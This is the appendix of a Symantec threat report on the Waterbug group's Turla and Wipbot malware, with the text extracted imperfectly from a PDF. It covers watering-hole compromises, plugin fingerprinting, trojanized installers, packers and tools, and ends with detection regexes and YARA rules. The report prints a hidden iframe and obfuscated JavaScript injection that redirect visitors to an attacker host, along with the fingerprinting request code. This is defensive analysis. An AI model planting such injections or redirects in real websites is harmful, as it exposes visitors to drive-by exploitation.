Turla variants APPENDIX Page 15 The Waterbug attack group Appendix Injection attack analysis The compromised websites use an injected iframe or some obfuscated JavaScript in order to redirect visitors to a malicious host, specifically to a web page (main.php) that is used to perform standard plugin checks or system fingerprinting.
The following is an example of an injected iframe and obfuscated JavaScript: Iframe injections div stylevisibility: hiddeniframe srchttp://image.servepics.com/css/ main.php width2 height2 scrollingno frameborder0/iframe/ div Obfuscated JavaScript injections script typetext/JavaScripteval(function(p,a,c,k,e,d)efunction(c) returnc.toString(36)if(.replace(/ /,String))while(c--)d[c.
toString(a)]k[c]c.toString(a)k[function(e)returnd[e]]efunction() return\\wc1while(c--)if(k[c])pp.replace(newRegExp(\\be(c)\\ b,g),k[c])return p(c.bd()e13.g(\f\)1.2(\a\,\6://4.5.9/7-8/h/o/i.r\)1 .2(\q\,\0\)1.2(\s\,\0\)1.2(\t\,\u\)1.2(\p\,\0\)1.k.j\l\3.m.n(1),31- ,31,elem _ jssetAttributedocumentnewsweekservebloghttpwpincludes netsrconloadwindowfunctionvariframecreateElementjsmaindisplays tylenonebodyappendChildcssframeborderwidthphpheightscrollingno.
split(),0,))/script PluginDetect library When main.php is loaded, it runs a number of JavaScript files from a library known as PluginDetect (v0.8.5).
PluginDetect is a legitimate library used to detect browser plugins (the most recent version is 0.8.7).
The PluginDetect library is intended to work with all the major browsers including Internet Explorer 6 and up, Firefox, Mozilla, Netscape, Chrome, Safari, Opera, SeaMonkey, Flock, and others.
It is possible to generate custom PluginDetect scripts which only retrieve version information for specifically chosen plugins as per http://www.pinlady.net/PluginDetectArchive/0.8.5/download/.
Symantec has identified two versions of the main.php script file.
The following table provides an overview of the information collected for each of the two versions, which perform similar actions: Table 1.
Identified versions of main.php File name MD5 Targeted software Description main.php 764d67a1dcb2449e2aa6dc3e59a5265f  Java Flash Adobe Reader QuickTime Shockwave Windows Media Player Microsoft Office Word Performs POST request to remote ajax.php script.
JavaScript file jquery.min.js contains all the PluginDetect files.
main.php bd07a78793641dc85cf75dc60c06051a  Adobe Reader Java Flash Shockwave QuickTime Silverlight Performs GET request to remote wreq.
php script.
This version contains Silverlight PluginDetect code.
http://www.pinlady.net/PluginDetectArchive/0.8.5/guide/ http://www.pinlady.net/PluginDetectArchive/0.8.5/download/ Page 16 The Waterbug attack group When main.php is loaded, regardless of the version used, it checks if JavaScript is supported on the redirected browser.
If JavaScript is not available, it generates the parameter, nojs.php?jno, and provides the address of the compromised website that the user was redirected from in the ref parameter: noscriptmeta http-equivrefresh content  0URLnojs.php?jnoref-- //noscript However, if JavaScript is available, main.php proceeds to collect the software version information listed in Table 1.
Depending on the version of the main.php script used to collect plugin information, it either performs a GET request or a POST request using the following parameters: POST request xmlhttp.send(js  encodeURIComponent(js)  v _ s encodeURIComponent(v _ s)  v _ f  encodeURIComponent(v _ f)  v _ a encodeURIComponent(v _ a)  v _ m encodeURIComponent(v _ m) v _ q encodeURIComponent(v _ q)  msw  encodeURIComponent(msw)  v _ ja encodeURIComponent(v _ ja)  ref  encodeURIComponent(ref)) Example image.servepics.com/css/ajax.php?jsokv _ snullv _ f11.8.800.94v _ a11.0.0.0v _ mnullv _ qnullmsw2007v _ ja1.7.0.51refhttp3A//www.bjc.
es/v _ sl5.1.20513.0 GET request window.location.href  wreq.php?jsokv _ sshock()v _ ffla()v _ aacro()v _ mv _ mv _ qqtime()mswoffchk()v _ jajav()ref escape(ref)v _ slsilver() Example image.servepics.com/css/wreq.php?jsokv _ snullv _ f12.0.0.41v _ anullv _ mnullv _ qnullmswnullv _ ja1.7.0.51refhttp3A//www.motril.es/index.
php3Fid3D359v _ slnull Additional PluginDetect files Symantec has identified one additional script (similar to ajax.php and wreq.php) that performs the same actions previously described.
It is possible that these files represent different versions of the backend script used to parse the collected information used in the attack.
/css/ajax.php /css/ajax.php /wp-admin/js/css/ajax.php /wp-includes/js/css/ajax.php /css/wreq.php /wp-includes/js/css/wreq.php /css/wreq.php /css/ajax.php /wp-admin/js/css/1267.php Parameters Table 2 shows the parameters used in the URLs generated from the PluginDetect library, which hold plugin version information.
Table 2.
Parameters used by PluginDetect library Parameters Code Description js Enabled JavaScript.
If compatible, string ok is set to parameter value.
v_s Enabled Shockwave v_f Enabled Flash v_a Enabled Adobe Reader or generic PDF reader v_m Disabled Disabled in code.
Used to hold WindowsMediaPlayer version information.
v_q Enabled QuickTime msw Disabled Disabled in code.
Code does not initialize offchk() function - MSOffice detect.
v_ja Enabled Java Runtime Environment ref Enabled Compromised site v_sl Enabled Silverlight.
Only present in main.php (MD5: bd07a78793641dc85cf75dc60c06051a).
Page 17 The Waterbug attack group All plugin scripts use the PluginDetect library from version 0.8.5 with the exception of main.php (MD5: bd07a78793641dc85cf75dc60c06051a) which uses the PluginDetect script version 0.8.6 for Silverlight.
Exploits The scripts (main.php, main.jpg, wreq.php etc) contained additional code which is used to exploit Internet Explorer 6, 7, and 8.
Additional exploits were also identified targeting Oracle Sun Java and Adobe Flash Player using the Oracle Java SE Remote Code Execution Vulnerability (CVE-2012-1723).
Unfortunately, not all exploits could be retrieved for analysis.
The payload dropped by the Java exploit was found to be: MD5: d7ca9cf72753df7392bfeea834 bcf992 The above sample was confirmed as Trojan.
Wipbot.
Trojanized applications The attacker group also used Trojanized applications in order to trick users into installing a malicious payload.
In one such example, a Shockwave Player installer bundle was found to be Trojanized and silently installed Trojan.
Wipbot.
The installer was signed with a certificate from Sysprint, an organization based in Switzerland.
There have been additional reports of Trojanized Microsoft Security Essential packages being used.
Figure 9.
Trojanized Shockwave installer bundle Figure 10.
Sysprint digital certificate used to sign Trojanized Shockwave installer http://www.securityfocus.com/bid/53960 Page 18 The Waterbug attack group Trojan.
Turla variants Custom packer Packers or executable compressors are common techniques used by malware authors in order to evade antivirus (AV) detection.
The packer used with Trojan.
Turla is unique to the group and has not been observed being used with any other malware.
This custom packer, used exclusively by the Waterbug group, was used for packing various components since at least 2009.
The stub included in the packed driver-based variants includes the same error code value ranges as was observed in Waterbug-specific communication code.
This is a strong indication that attackers maintain the packer in-house.
It was found that the FA dropper from 2009 included a non-packed driver and a packed external communication component, but the dropper from 2011 included a packed driver and a non-packed external communication component.
However, for SAV, the dropper, driver, and other components were all packed using the custom packer from 2011.
Symantec is aware of five generations of the custom packer: Custom Awas encountered inFAexternal communication component (February-December 2009) Custom B, variant preAwas encountered inFAdropper (January 2010) Custom B, variant Awas encountered inFAexternal communication component (June 2010) Custom B, variant Bwas encountered invarious SAV components (June 2011-May 2013) andFAdriver (December 2012-January 2014) Custom B, variant Cencountered inSAVdriver (October 2013-March 2014) It is worth noting that another, somewhat simpler, packer was used for packing the Trojan.
Wipbot dropper (custom dotNET used by single sample).
Error code ranges Many of the Waterbug-specific subroutines present in various kernel-mode samples use constants from range 0x21590001..0x21590258 as error codes.
It is interesting to note that this range corresponds to 0xDEA6FXXX.
The following components include code with these constants: Stub of custom packer present in packed kernel-mode binaries FA drivers (except for samples earlier then 2008) Carbon drivers SAV drivers Table 3.
Error code messages Error code Message 0 no error ffffffff error has been suddenly occured 21590001 function unsupported 21590002 timeout condition has been occured inside call of function 21590003 peer has closed the connection 21590004 no memory 21590005 object not found 21590006 execution has been canceled 21590007 not enough server resources to complete opera- tion 21590008 access violation 21590009 socket error 2159000a invalid network buffer received 2159000b too long data for this type of transport 2159000e no data was received 21590064 invalid function call 21590065 sanity check: invalid parameter 1 in function call 21590066 sanity check: invalid parameter 2 in function call 21590067 sanity check: invalid parameter 3 in function call 21590068 sanity check: invalid parameter 4 in function call 21590069 sanity check: invalid parameter 5 in function call 2159006a sanity check: invalid parameter 6 in function call 2159006b sanity check: invalid parameter 7 in function call 2159006c sanity check: invalid parameter 8 in function call 2159006d sanity check: invalid parameter 9 in function call 215900c8 invalid address specified 215900c9 invalid local address 215900ca invalid local port 215900cb invalid remote address 215900cc invalid remote port 2159012c invalid credentials 2159012d secure connection failed 21590258 licence error Page 19 The Waterbug attack group Several samples also include a table mapping these error codes to messages.
This table is apparently part of a source file with the following versioning information: Id: t _ message1.c 5290 2007-01-26 11:15:03Z vlad The table mapping error codes to messages is composed of a number of entries (See Table 3).
With all verified components, error codes seem consistent with the above table.
However, use of additional error codes within this range were also observed that are not included in this table.
Additional shared features Additional shared features observed during analysis are detailed below.
IDT hooking Symantec observed sharing of IDT hooking code used in FA, Carbon (not present in samples earlier than 2009), and SAV drivers.
All have been observed using interrupts 0x55 or 0xC3 in the following method: kd u ntNtReadFile ntNtReadFile: 8057c4a8 6a06            push    6   integer pushed.
8057c4aa cdc3            int     0C3h   interrupt.
8057c4ac 94              xchg    eax,esp 8057c4ad 4d              dec     ebp 8057c4ae 80e88c          sub     al,8Ch 8057c4b1 f8              clc 8057c4b2 fb              sti 8057c4b3 ff33            push    dword ptr [ebx] It is worth noting that higher-level code implemented on top of these hooks differ significantly across variants, where SAV is considered the most sophisticated.
FA source code tree The FA variant includes debug string information that corresponds to source code files.
Some full and partial paths are also indicated in the strings.
It is possible that the source code tree for FA may have contained the following directory structure: d:\proj\cn\fa64\common\helpers\ntsystem\../../unichar _ common.c ..\common\helpers\ntsystem\event.c Id: event.c 14097 2010-11-01 14:46:27Z gilg ..\common\helpers\ntsystem\mutex.c Id: mutex.c 14516 2010-11-29 12:27:33Z gilg ..\common\helpers\ntsystem\named _ mutex.c Id: named _ mutex.c 15594 2011-03-18 08:04:09Z gilg ..\common\helpers\ntsystem\nt.c Id: nt.c 20719 2012-12-05 12:31:20Z gilg ..\common\helpers\ntsystem\rw _ lock.c Id: rw _ lock.c 14516 2010-11-29 12:27:33Z gilg ..\common\helpers\ntsystem\unichar.c Id: unichar.c 14481 2010-11-27 19:52:15Z gilg ..\common\helpers\interface _ s.c d:\proj\cn\fa64\common\loadlib\common/loadlib _ helpers.c d:\proj\cn\fa64\common\loadlib\win/loadlib.c d:\proj\cn\fa64\uroboros\rk _ common\libhook\common/libunhook.c d:\proj\cn\fa64\uroboros\rk _ common\libhook\common/hook _ helpers.c d:\proj\cn\fa64\uroboros\rk _ common\libhook\common/libhook.c d:\proj\cn\fa64\uroboros\rk _ common\libhook\common/idthook.c d:\proj\cn\fa64\uroboros\rk _ common\libhook\ntsystem/libhook.c ..\k2\fa _ registry.c Page 20 The Waterbug attack group ..\k2\syshook.c The code tree suggests that there may be common helper code shared, such as rootkit functionality (rk_common, common\helpers etc.
).
It is likely that these components are shared across variants of Trojan.
Turla.
This is also consistent with the PDB strings extracted from FA variants: d:\proj\cn\fa64\sengoku\ _ bin\sengoku\win32 _ debug\sengoku _ Win32.pdb Agent.
BTZ XOR key A number of keys are shared across the Trojan.
Turla variants.
Of particular interest is the following XOR key known from Agent.
BTZ.
This key has also been identified in a number of tools used by the Waterbug group: 1dM3uu4j7Fw4sjnbcwlDqet4F7JyuUi4m5Imnxl1pzxI6as80cbLnmz54cs5Ldn4ri3do5L6gs9 23HL34x2f5cvd0fk6c1a0s\x00 The above XOR key was found in ComRAT and FA components starting from 2006.
Encrypted file system Carbon (driver-based) and SAV utilize an encrypted file system (EFS) to store configuration files, log information, tools, and exfiltrated data.
These variants use CAST-128 bit encryption in CBC mode.
A unique initialization key (IV) was used across these drivers: A1D210B76D5EDA0FA165AFEF79C366FA Note other samples also have remnants of the EFS code which is never used.
Detection guidance Targeted injection attacks Iframe injection Upon visiting a compromised domain, the user is redirected to a dynamic DNS host which performs fingerprinting operations to identify the version information for several browser plugins, as described in the technical details of this document.
Examples [http://]image.servepics.com/css/main.php [http://]cqcount.servehttp.com/css/main.php [http://]newsweek.serveblog.net/wp-includes/js/css/main.php Regex .\/css\/main\.php.
Fingerprinting Once a user has been successfully redirected, a PluginDetect script is loaded.
This identifies version information for Java, Flash, Adobe Reader, QuickTime, Shockwave, Silverlight etc.
Examples adobes3.sytes.net/macromedia/get/shockwave/latest/sitenavigation.js adobe.serveusers.com/macromedia/get/shockwave/latest/sitenavigation.php Regex .\/macromedia\/get\/shockwave\/latest\/sitenavigation.
The collected information is POSTed to another page hosted on the same domain.
Thus far, we have observed the use of wreq.php, ajax.php, and main.jpg.
Page 21 The Waterbug attack group Examples image.servepics.com/css/wreq.php?jsokv_snullv_f13.0.0.206v_a11.0.0.0v_mnullv_ q7.7.1.0mswnullv_ja1.7.0.55refhttp3A//www.motril.es/v_slnull cqcount.servehttp.com/css/wreq.php?jsokv_snullv_f11.6.602.180v_a9.3.0.0v_mnullv_ qnullmsw2003v_janullrefhttp3A//www.master-photonics.org/index.php3Fid3D60v_ sl5.1.20913.0 image.servepics.com/css/ajax.php?jsokv_snullv_f12.0.0.70v_a11.0.6.0v_mnullv_ qnullmswnullv_ja1.6.0.33refhttp3A//www.motril.es/index.php3Fid3D520v_slnull Regex .jsokv_s.
Trojan.
Wipbot Trojan.
Wipbot has been observed using the following network communication(s) in order to initiate communication with the CC server.
Pattern one GET /wp-content/themes/profile/?rank[FIVE DIGITS] Example /wp-content/themes/profile/?rank22503 Regex .\?rank[0-9]5.
Pattern two GET /includes/header.php?rank[FIVE DIGITS] Example /includes/header.php?rank67675 Regex .\.php?rank[0-9]5.
Pattern three Wipbot has been observed using the following communication(s) in order to exfiltrate data from a compromised computer.
GET /[DIRECTORY]/[PAGE].php?optioncom _ contentcatid[TEN DIGITS]task[SEVEN CHARACTERS]id[TEN DIGITS]viewcategoryItemid[TEN DIGITS]link[EIGHT DIGITS]:[FOUR CHARACTERS]layout[TWO DIGITS]:[SEVEN CHARACTERS] Example GET /Connections1/formulaire15.php?optioncom _ contentcatid2956129479task 65g7ka0id1869153034forumid1549520913viewcategoryItemid3900082516link2 0140715:GBaHlayout28:article Regex .(\?option).(catid).(task).(forumid).(view).(Itemid).(link).
(layout).
Trojan.
Turla - URL detection regex Pattern one Trojan.
Turla has been observed using the following network communication(s) in order to retrieve the command Page 22 The Waterbug attack group file from the remote CC server.
GET /[ONE CHARACTER]/[EIGHT NUMBERS] Example /C/77568289 Regex .
(\/[A-Z]1\/[0-9]8).
Pattern two GET /[ONE CHARACTER]/[ONE NUMBER]/[16 CHARACTERS OR NUMBERS]1c0 Example /H/1/8fda73d3070d6b701c0 Regex .
([A-Z]1\/[0-9]1\/[a-z0-9]19).
Pattern three Trojan.
Turla has been observed using the following test communication.
Initially it attempts to retrieve pub.txt or pub.html file as a method of authenticating against the remote CC server: GET /[ONE CHARACTER]/pub.txt Examples /H/pub.txt /C/pub.txt Regex .
([A-Z]1.\/pub\.txt).
Pattern four Trojan.
Turla has been observed using the following test communication.
Initially it attempts to retrieve pub.txt or pub.html file as a method of authenticating against the remote CC server: GET /[COUNT/IMAGE/MEDIA/PIC/PUBLIC]/pub.html Examples /COUNT/pub.html /IMAGE/pub.html Regex .(\/PIC\/IMAGE\/PUBLIC\/COUNT\/MEDIA).(\/pub\.
).
Pattern five GET /[COUNTIMAGEMEDIAPICPUBLIC]/[16 CHARACTERS OR NUMBERS]1c0 Examples /MEDIA/1/80d0a0aca8ba508e1c0 /PIC/1/c4c8f8006c2bc74a1c0 Regex .
(\/PIC\/IMAGE\/PUBLIC\/COUNT\/MEDIA\/[a-z0-9]19).
Page 23 The Waterbug attack group Pattern six In February 2014, Symantec observed updated CC communication activity related to Trojan.
Turla variants.
GET/POST /index/index.php?
[64 CHARACTERS OR NUMBERS] Example /index/index.php?4eKDJVxSzbjg2fvYt604CuOHikx06NqyP0oawFWtiqY6D1bMlXFLNuOHigyVcUs35yOKDJVx SzQ3d3d Regex .(\/index\/index\.php?
).
Pattern seven GET /[COUNT/IMAGE/MEDIA/PIC/PUBLIC]/N00/index.asp?name\[ONE NUMBER]\[SIXTEEN CHARACTERS OR NUMBERS]1c0 Examples /IMAGE/N00/index.asp?name\1\d36f5cf07ad6fba61c0 /COUNT/N00/index.asp?name\1\8fda73d3070d6b701c0 Regex .(\/PIC\/IMAGE\/PUBLIC\/COUNT\/MEDIA).
(index.asp?name).
Pattern eight GET/POST /N00/cookie.php Regex .
(\/N00\/cookie\.php).
Pattern nine The following CC communication pattern is related to pattern two and pattern five URLs.
The same 16 bytes are used to generate the 64-byte query string for pattern six.
GET/POST /index/index.php?h[RANDOM CHARACTERS AND NUMBERS]d[RANDOM CHARACTERS AND NUMBERS] Examples /index/index.php?hF1fQaYDD0tE3ddFW2bwHgmYa9EXVt9bsPDq4SVg6VC09ebkJ2PQaYDD0tEXV9Bp gMPg4SRv4Fu32buvlIWPlWbSH42bAkYeBasPDi4zk9oA6g42fLxN3fwSaDj8vE3d2fBJoOPy8T3d3d /index/index.php?h2BhzAaseIe43dd2CATdiJFmO7YGXwzmy0Z3uovSjifKBXb6CxzAaseIe7YGHMBqx5 3d Regex .(/index/index\.php\?h.d.
).
Pattern ten Earlier variants of Trojan.
Wipbot/Tavdig CC communication: GET /auth.cgi?modequeryid[IDENTIFIER]serv[DOMAIN]langenq[RANDOM NUMBERS]-[RANDOM NUMBERS]date[DATE] Regex .
(\/auth.cgi?modequeryid).
Pattern eleven CC communication to retrieve tasks for Uroburos 2009/2013 samples: GET /default.asp?act[IDENTIFIER]id[IDENTIFIER]item[IDENTIFIER]event _ id[EVENT ID]cln[IDENTIFIER]flt[CHECKSUM]serv[DOMAIN]t[EPOCH TIMESTAMP] Page 24 The Waterbug attack group modequerylangendate[DATE] Regex .
(\/default.asp?act.id).
Yara signatures Trojan.
Wipbot 2014 core PDF rule wipbot _ 2013 _ core _ PDF strings: PDF  PDF- a  /\[A-Za-z]1\.
_ _ \\[A-Za-z]1\.
_ \ _ \/ b  /\[A-Za-z]1\.\\\ _ \/ condition: (PDF at 0) and a  150 and b  200  Trojan.
Wipbot 2013 DLL rule wipbot _ 2013 _ dll meta: description  Down.dll component strings: string1  /s?ranks string2  ModuleStart\x00ModuleStop\x00start string3  1156fd22-3443-4344-c4ffff //read file... error.. string4  read\x20file\x2E\x2E\x2E\x20error\x00\x00 condition: 2 of them  Trojan.
Wipbot 2013 core component rule wipbot _ 2013 _ core meta: description  core  core garbage appended data (PDF Exploit leftovers)  wipbot dropper fake AdobeRd32 Error strings: mz  MZ / 8947 0C           MOV     DWORD PTR DS:[EDIC], EAX C747 10 90C20400  MOV     DWORD PTR DS:[EDI10], 4C290 C747 14 90C21000  MOV     DWORD PTR DS:[EDI14], 10C290 C747 18 90906068  MOV     DWORD PTR DS:[EDI18], 68609090 894F 1C           MOV     DWORD PTR DS:[EDI1C], ECX C747 20 909090B8  MOV     DWORD PTR DS:[EDI20], B8909090 894F 24           MOV     DWORD PTR DS:[EDI24], ECX C747 28 90FFD061  MOV     DWORD PTR DS:[EDI28], 61D0FF90 C747 2C 90C20400  MOV     DWORD PTR DS:[EDI2C], 4C290 / code1   89 47 0C C7 47 10 90 C2 04 00 C7 47 14 90 C2 10 00 C7 47 18 90 90 60 68 89 4F 1C C7 47 20 90 90 90 B8 89 4F 24 C7 47 28 90 FF D0 61 C7 47 2C 90 C2 04 00 Page 25 The Waterbug attack group / 85C0            TEST    EAX, EAX 75 25           JNZ     SHORT 64106327.00403AF1 8B0B            MOV     ECX, DWORD PTR DS:[EBX] BF ???????
?
MOV     EDI, ???????
?
EB 17           JMP     SHORT 64106327.00403AEC 69D7 0D661900   IMUL    EDX, EDI, 19660D 8DBA 5FF36E3C   LEA     EDI, DWORD PTR DS:[EDX3C6EF35F] 89FE            MOV     ESI, EDI C1EE 10         SHR     ESI, 10 89F2            MOV     EDX, ESI 301401          XOR     BYTE PTR DS:[ECXEAX], DL 40              INC     EAX 3B43 04         CMP     EAX, DWORD PTR DS:[EBX4] 72 E4           JB      SHORT 64106327.00403AD5 / code2   85 C0 75 25 8B 0B BF ??
??
?? ?
?
EB 17 69 D7 0D 66 19 00 8D BA 5F F3 6E 3C 89 FE C1 EE 10 89 F2 30 14 01 40 3B 43 04 72 E4 code3  90 90 90 ?
?
B9 00 4D 5A 90 00 03 00 00 00 82 04 code4  55 89 E5 5D C3 55 89 E5 83 EC 18 8B 45 08 85 C0 condition: mz at 0 and ((code1 or code2) or (code3 and code4))  Trojan.
Turla dropper rule turla _ dropper strings: a  0F 31 14 31 20 31 3C 31 85 31 8C 31 A8 31 B1 31 D1 31 8B 32 91 32 B6 32 C4 32 6C 33 AC 33 10 34 b  48 41 4C 2E 64 6C 6C 00 6E 74 64 6C 6C 2E 64 6C 6C 00 00 00 57 8B F9 8B 0D ??
??
??
?? ?
?
C9 75 26 56 0F 20 C6 8B C6 25 FF FF FE FF 0F 22 C0 E8 condition: all of them  Trojan.
Turla DLL rule turla _ dll strings: a  /([A-Za-z0-9]2,10 _ ),2Win32\.dll\x00/ condition: pe.exports(ee) and a  FA rule fa strings: mz  MZ string1  C:\\proj\\drivers\\fa _ 2009\\objfre\\i386\\atmarpd.pdb Page 26 The Waterbug attack group string2  d:\\proj\\cn\\fa64\\ string3  sengoku _ Win32.sys\x00 string4  rk _ ntsystem.c string5  \\uroboros\\ string6  shell.
F21EDC09-85D3-4eb9-915F-1AFA2FF28153 condition: (mz at 0) and (any of (string))  SAV dropper rule sav _ dropper strings: mz  MZ a  /[a-z],10 _ x64.sys\x00hMZ\x00/ condition: (mz at 0) and uint32(0x400)  0x000000c3 and pe.number _ of _ sections 6 and a  SAV rule sav strings: mz  MZ / 8B 75 18  mov     esi, [ebparg _ 10] 31 34 81  xor     [ecxeax4], esi 40        inc     eax 3B C2     cmp     eax, edx 72 F5     jb      short loc _ 9F342 33 F6     xor     esi, esi 39 7D 14  cmp     [ebparg _ C], edi 76 1B     jbe     short loc _ 9F36F 8A 04 0E  mov     al, [esiecx] 88 04 0F  mov     [ediecx], al 6A 0F     push    0Fh 33 D2     xor     edx, edx 8B C7     mov     eax, edi 5B        pop     ebx F7 F3     div     ebx 85 D2     test    edx, edx 75 01     jnz     short loc _ 9F368 / code1a   8B 75 18 31 34 81 40 3B C2 72 F5 33 F6 39 7D 14 76 1B 8A 04 0E 88 04 0F 6A 0F 33 D2 8B C7 5B F7 F3 85 D2 75 01 / 8B 45 F8     mov     eax, [ebpvar _ 8] 40           inc     eax 89 45 F8     mov     [ebpvar _ 8], eax 8B 45 10     mov     eax, [ebparg _ 8] C1 E8 02     shr     eax, 2 39 45 F8     cmp     [ebpvar _ 8], eax 73 17        jnb     short loc _ 4013ED 8B 45 F8     mov     eax, [ebpvar _ 8] 8B 4D F4     mov     ecx, [ebpvar _ C] Page 27 The Waterbug attack group 8B 04 81     mov     eax, [ecxeax4] 33 45 20     xor     eax, [ebparg _ 18] 8B 4D F8     mov     ecx, [ebpvar _ 8] 8B 55 F4     mov     edx, [ebpvar _ C] 89 04 8A     mov     [edxecx4], eax EB D7        jmp     short loc _ 4013C4 83 65 F8 00  and     [ebpvar _ 8], 0 83 65 EC 00  and     [ebpvar _ 14], 0 EB 0E        jmp     short loc _ 401405 8B 45 F8     mov     eax, [ebpvar _ 8] 40           inc     eax 89 45 F8     mov     [ebpvar _ 8], eax 8B 45 EC     mov     eax, [ebpvar _ 14] 40           inc     eax 89 45 EC     mov     [ebpvar _ 14], eax 8B 45 EC     mov     eax, [ebpvar _ 14] 3B 45 10     cmp     eax, [ebparg _ 8] 73 27        jnb     short loc _ 401434 8B 45 F4     mov     eax, [ebpvar _ C] 03 45 F8     add     eax, [ebpvar _ 8] 8B 4D F4     mov     ecx, [ebpvar _ C] 03 4D EC     add     ecx, [ebpvar _ 14] 8A 09        mov     cl, [ecx] 88 08        mov     [eax], cl 8B 45 F8     mov     eax, [ebpvar _ 8] 33 D2        xor     edx, edx 6A 0F        push    0Fh 59           pop     ecx F7 F1        div     ecx 85 D2        test    edx, edx 75 07        jnz     short loc _ 401432 / code1b   8B 45 F8 40 89 45 F8 8B 45 10 C1 E8 02 39 45 F8 73 17 8B 45 F8 8B 4D F4 8B 04 81 33 45 20 8B 4D F8 8B 55 F4 89 04 8A EB D7 83 65 F8 00 83 65 EC 00 EB 0E 8B 45 F8 40 89 45 F8 8B 45 EC 40 89 45 EC 8B 45 EC 3B 45 10 73 27 8B 45 F4 03 45 F8 8B 4D F4 03 4D EC 8A 09 88 08 8B 45 F8 33 D2 6A 0F 59 F7 F1 85 D2 75 07 / 8A 04 0F    mov     al, [ediecx] 88 04 0E    mov     [esiecx], al 6A 0F       push    0Fh 33 D2       xor     edx, edx 8B C6       mov     eax, esi 5B          pop     ebx F7 F3       div     ebx 85 D2       test    edx, edx 75 01       jnz     short loc _ B12FC 47          inc     edi 8B 45 14    mov     eax, [ebparg _ C] 46          inc     esi 47          inc     edi 3B F8       cmp     edi, eax 72 E3       jb      short loc _ B12E8 EB 04       jmp     short loc _ B130B C6 04 08 00 mov     byte ptr [eaxecx], 0 48          dec     eax 3B C6       cmp     eax, esi Page 28 The Waterbug attack group 73 F7       jnb     short loc _ B1307 33 C0       xor     eax, eax C1 EE 02    shr     esi, 2 74 0B       jz      short loc _ B1322 8B 55 18    mov     edx, [ebparg _ 10] 31 14 81    xor     [ecxeax4], edx 40          inc     eax 3B C6       cmp     eax, esi 72 F5       jb      short loc _ B1317 / code1c   8A 04 0F 88 04 0E 6A 0F 33 D2 8B C6 5B F7 F3 85 D2 75 01 47 8B 45 14 46 47 3B F8 72 E3 EB 04 C6 04 08 00 48 3B C6 73 F7 33 C0 C1 EE 02 74 0B 8B 55 18 31 14 81 40 3B C6 72 F5 / 29 5D 0C              sub     [ebparg _ 4], ebx 8B D1                 mov     edx, ecx C1 EA 05              shr     edx, 5 2B CA                 sub     ecx, edx 8B 55 F4              mov     edx, [ebpvar _ C] 2B C3                 sub     eax, ebx 3D 00 00 00 01        cmp     eax, 1000000h 89 0F                 mov     [edi], ecx 8B 4D 10              mov     ecx, [ebparg _ 8] 8D 94 91 00 03 00 00  lea     edx, [ecxedx4300h] 73 17                 jnb     short loc _ 9FC44 8B 7D F8              mov     edi, [ebpvar _ 8] 8B 4D 0C              mov     ecx, [ebparg _ 4] 0F B6 3F              movzx   edi, byte ptr [edi] C1 E1 08              shl     ecx, 8 0B CF                 or      ecx, edi C1 E0 08              shl     eax, 8 FF 45 F8              inc     [ebpvar _ 8] 89 4D 0C              mov     [ebparg _ 4], ecx 8B 0A                 mov     ecx, [edx] 8B F8                 mov     edi, eax C1 EF 0B              shr     edi, 0Bh / code2   29 5D 0C 8B D1 C1 EA 05 2B CA 8B 55 F4 2B C3 3D 00 00 00 01 89 0F 8B 4D 10 8D 94 91 00 03 00 00 73 17 8B 7D F8 8B 4D 0C 0F B6 3F C1 E1 08 0B CF C1 E0 08 FF 45 F8 89 4D 0C 8B 0A 8B F8 C1 EF 0B condition: (mz at 0) and ((code1a or code1b or code1c) and code2)  ComRAT rule comrat strings: mz  MZ b  C645???
?
c  C685??FEFFFF?
?
d  FFA0?
?0?0000 e  89A8??00000068?
?00000056FFD78B f  00004889???
?030000488B condition: (mz at 0) and ((c  200 and b  200 ) or (d  40) and (e  15 or f  30))  Page 29 The Waterbug attack group Waterbug tools Symantec identified a number of tools used by the Waterbug group.
Table 4 details the tools and lists their associated MD5 hashes.
Table 4.
Tools used by the Waterbug group File name MD5 File path tcpdump32c.exe  9bec941bec02c7fbe037a97db8c89f18 6ce69e4bec14511703a8957e90ded1fa 1c05164fede51bf947f1e78cba811063 5129c26818ef712bde318dff970eba8d bdce0ed65f005a11d8e9a6747a3ad08c Used for lateral movement across victims network Reads prt.ocx as its configuration file May use results from other tools like mspd32.exe to get to- kens/ntlm hashes to access resources from victims network Can scan for open ports from a list of targeted computers or from a given Active Directory domain Can copy and execute files on remote computers found in the network There are several command line parameters that the file can accept and the most notable ones are: /exp:dns  possible DNS exploit /exp:08067  seems to be capable of exploiting the Microsoft Windows Server Service RPC Handling Remote Code Execution Vulnerability Vulnerability (CVE-2008- 4250).
Needs another parameter which is the path to the exploit binary to use /rputfile possibly copying file to a targeted computer /rfile  possibly a remote file execute or remote log file /lfile  local logfile/userlist.
Accepts user name and password for accessing remote computers in the tar- geted network /scanport Has encrypted binary files in its resource mspd32.exe e04ad0ec258cbbf94910a677f4ea54f0928d0e- f4c17f0be21f2ec5cc96182e0c Used in access privilege elevation attacks and the dumping of SAM through the DLL found in its resource section Communication is made through named pipe resources typecli.exe d686ce4ed3c46c3476acf1be0a1324 msc32.exe 22fb51ce6e0bc8b52e9e3810ca9dc2e1  Unknown dxsnd32x.exe df06bde546862336ed75d8da55e7b1c- ca85616aec82078233ea25199c56680 36b7d80000100f2cb50a37a8a5f21b- 185f552a8e8d60731022dcb5a89fd4f313e- ca1ecf883627a207ed79d0fd103534576560f- 47c8c50598760914310c6411d3b1b28cbcd- 6998091f903c06a0a46a0fd8db0952e130f- 6f8ad207998000a42531dec04190d- c190b6002f064e3d13ac22212959ed- 9d60a8f645fd46b7c7a9b- 62870c305801a809b7d9136ab483682e26d- 52de5a9fc45ab11dd0845508d122a6c8c8c Main purpose is to get details of compromised computer, such as OS version, service pack, host name, network adapter information (physical address, IP address) msnetsrv.exe  bf0e4d46a51f27493cbe47e1cfb1b2ea 22149a1ee21e6d60758fe58b34f04952 Used to gather information process lists, installed programs, browser history, and list of recently accessed files (through registry) Checks for F-Secure installation Compresses and encrypt swinview.xml pxinsi64.exe  f156ff2a1694f479a079f6777f0c5af0  64-bit driver possibly used by vboxdev_win32.dll Exploits vulnerability to load unsigned drivers mswme32.exe  eb40189cde69d60ca6f9a3f0531dbc5e  Collects files with extensions (.library, .inf, .exe, .dll, .dot) Encrypts with Trojan.
